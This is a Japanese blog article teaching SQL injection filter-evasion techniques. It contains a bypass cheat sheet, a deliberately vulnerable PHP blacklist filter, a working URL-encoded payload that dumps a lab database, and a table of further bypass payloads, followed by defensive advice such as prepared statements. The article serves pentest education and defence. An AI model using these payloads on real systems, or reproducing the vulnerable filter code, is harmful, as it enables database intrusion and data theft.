1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】高度な SQL Injection におけるフィルター回避テクニック

Last updated at Posted at 2025-11-25

はじめに

高度な SQL Injection におけるフィルター回避テクニック

現代の Web アプリケーションは、SQL インジェクション対策として
「キーワード除去」「特殊文字削除」「ブラックリストフィルタ」など
基本的な防御を備えていることが多い。

しかし、これらは熟練の攻撃者からすると 簡単に回避されてしまう防御 でもある。

本記事では、ペンテスターが実務で使う フィルター回避(Filter Evasion)テクニック を解説し、
特に Character Encoding / No-Quote Injection / No-Space Injection を軸に、
実際のコードと攻撃例を用いてフィルタバイパスの仕組みを説明する。


本記事の目的

  • フィルタリングがなぜ脆弱なのか理解する
  • Character encoding を利用した SQLi フィルタ回避の具体例を学ぶ
  • スペースが使えない / quotes が使えない状況での回避テクニックを理解する
  • 実際の vulnerable アプリを使った攻撃手順を習得する

フィルター回避のキーワード一覧(CHEAT SHEET)

まずは実務で最も使われるフィルタ回避ワードの一覧から。

Character Encoding(文字コードを利用した回避)

  • URL Encoding(%27, %20, %3D…)
  • Double URL Encoding(%2527 など)
  • Hex Encoding(0x61646d696e)
  • Unicode Escape(\u0061\u0064\u006d)
  • Mixed Encoding(%2f%5c%2e などパス回避でも)

No-Quote Injection(quotes が使えない場合)

  • CHAR(), CONCAT(), UNHEX(), X'41'
  • 0x 形式の文字列
  • 数字ベースの条件式(1=1, 1||1 など)

No-Space Injection(スペース禁止の回避)

  • コメント利用:/**/, /*!00000*/
  • タブ:%09
  • 改行:%0a, %0d
  • その他:%0c, %0b(フォームフィードなど)

Keyword Bypass(キーワード回避)

  • U/**/NION
  • SEL/**/ECT
  • UnIoN、unIon、SeLeCt(大文字小文字混在)
  • ヌルバイト(%00)で切断

Logical Operator Bypass

  • OR → ||
  • AND → &&
  • 1 OR 1 → 1||1
  • TRUE → 1=1, 2>1, 99!=0

Case Study: Character Encoding を使った SQL Injection 回避

今回の vulnerable アプリは以下のような とても典型的な「シンプルだが脆弱」なフィルタ を実装している。


PHP 側のコード(search_books.php)

$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");

問題点

  1. ブラックリスト方式のフィルタは簡単に破られる
  2. encode された文字列は置換できない
  3. quotes を正しくエスケープしていない
  4. パラメータ化されていない

クライアント側のコード(AJAX)

xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);

攻撃者は encodeURIComponent() を逆利用 して、
フィルタが認識しない形で SQL ペイロードを送ることができる。


正常検索の例

「Intro to PHP」を検索すると通常通り結果が返る。

(画像:正常検索の画面)

Generated SQL Query: SELECT * FROM books WHERE book_name = 'Intro to PHP'

Book ID: 1

Name: Intro to PHP

Author: 1337



単純な SQLi を試す(失敗)

Intro to PHP' OR 1=1--

しかしフィルタにより OR が消され、クエリは壊れてエラーになる。

Generated SQL Query: SELECT * FROM books WHERE book_name = 'Intro to PHP' 1=1--'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1--'' at line 1 (Error Code: 1064)

Payload の準備

フィルタ bypass のため、次のテクニックを使用する:

  • '%27
  • space → %20
  • OR → || に置換(フィルタされない)
  • comment → %2D%2D or --+
  • =%3D

最終ペイロード

1%27%20||%201=1%20--+

デコードすると:

1' || 1=1 -- 

なぜ bypass できたのか?

部分 意味
%27 '(quotes を閉じる)
%20
1=1 恒真条件
--+ コメント化により残りを消す

実際に攻撃してみる

標準 payload(失敗)
/search_books.php?book_name=Intro%20to%20PHP'%20OR%201=1

→ エラー

Generated SQL Query: SELECT * FROM books WHERE book_name = 'Intro to PHP' 1=1'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1'' at line 1 (Error Code: 1064)

URL Encoded Payload(成功)
/search_books.php?book_name=1%27%20||%201=1%20--+

結果:全レコードがダンプされる

Generated SQL Query: SELECT * FROM books WHERE book_name = '1' || 1=1 -- '

Book ID: 1

Name: Intro to PHP

Author: 1337

Book ID: 2

Name: Intro to Python

Author: Lee

Book ID: 3

Name: Top Selling 2024

Author: George Kennedy

Book ID: 6

Name: Animal Series

Author: Tom Hanks


なぜ URL エンコードで bypass できるのか?

理由はとてもシンプル:

str_replace("OR", "", $input);

エンコードされた “%4F%52” を検知できない

また、
|| は OR と等価だが、フィルタ対象ではないため削除されない。

サーバ側で URL decode → SQL に渡される時点で 元の危険文字が復元される


教訓:ブラックリスト型防御は必ず破られる

攻撃者は:

  • 文字コードを変える
  • 空白を変える
  • オペレータを変える
  • 文字を分解する(U/**/NION)
  • コメントで繋ぐ
  • そもそも quotes を使わない手法を使う

こうした手法を簡単に組み合わせられるため、
str_replace や単純な正規表現によるフィルタリングは 本質的に防御にならない


防御方法

  • Prepared Statement(パラメータ化クエリ)
  • エンコードの normalize(デコードを1回に統一)
  • ブラックリストではなくホワイトリスト
  • ORMs を使う
  • WAF は補助として併用

まとめ


Keyword Bypass Scenario 一覧

Scenario Description Example
Keywords like SELECT are banned SQL keywords can often be bypassed by changing their case or adding inline comments to break them up SElEcT * FrOm users or SE/**/LECT * FROM/**/users
Spaces are banned Using alternative whitespace characters or comments to replace spaces. SELECT%0A*%0AFROM%0Ausers or SELECT/**/*/**/FROM/**/users
Logical operators like AND, OR are banned Using alternative logical operators or concatenation to bypass keyword filters. username = 'admin' && password = 'password' or username = 'admin'/**/||/**/1=1 \-\-
Common keywords like UNION, SELECT are banned Using equivalent representations such as hexadecimal or Unicode encoding to bypass filters. SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E)
Specific keywords like OR, AND, SELECT, UNION are banned Using obfuscation techniques to disguise SQL keywords by combining characters with string functions or comments. SElECT * FROM users WHERE username = CONCAT('a','d','m','i','n') or SElEcT/**/username/**/FROM/**/users

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?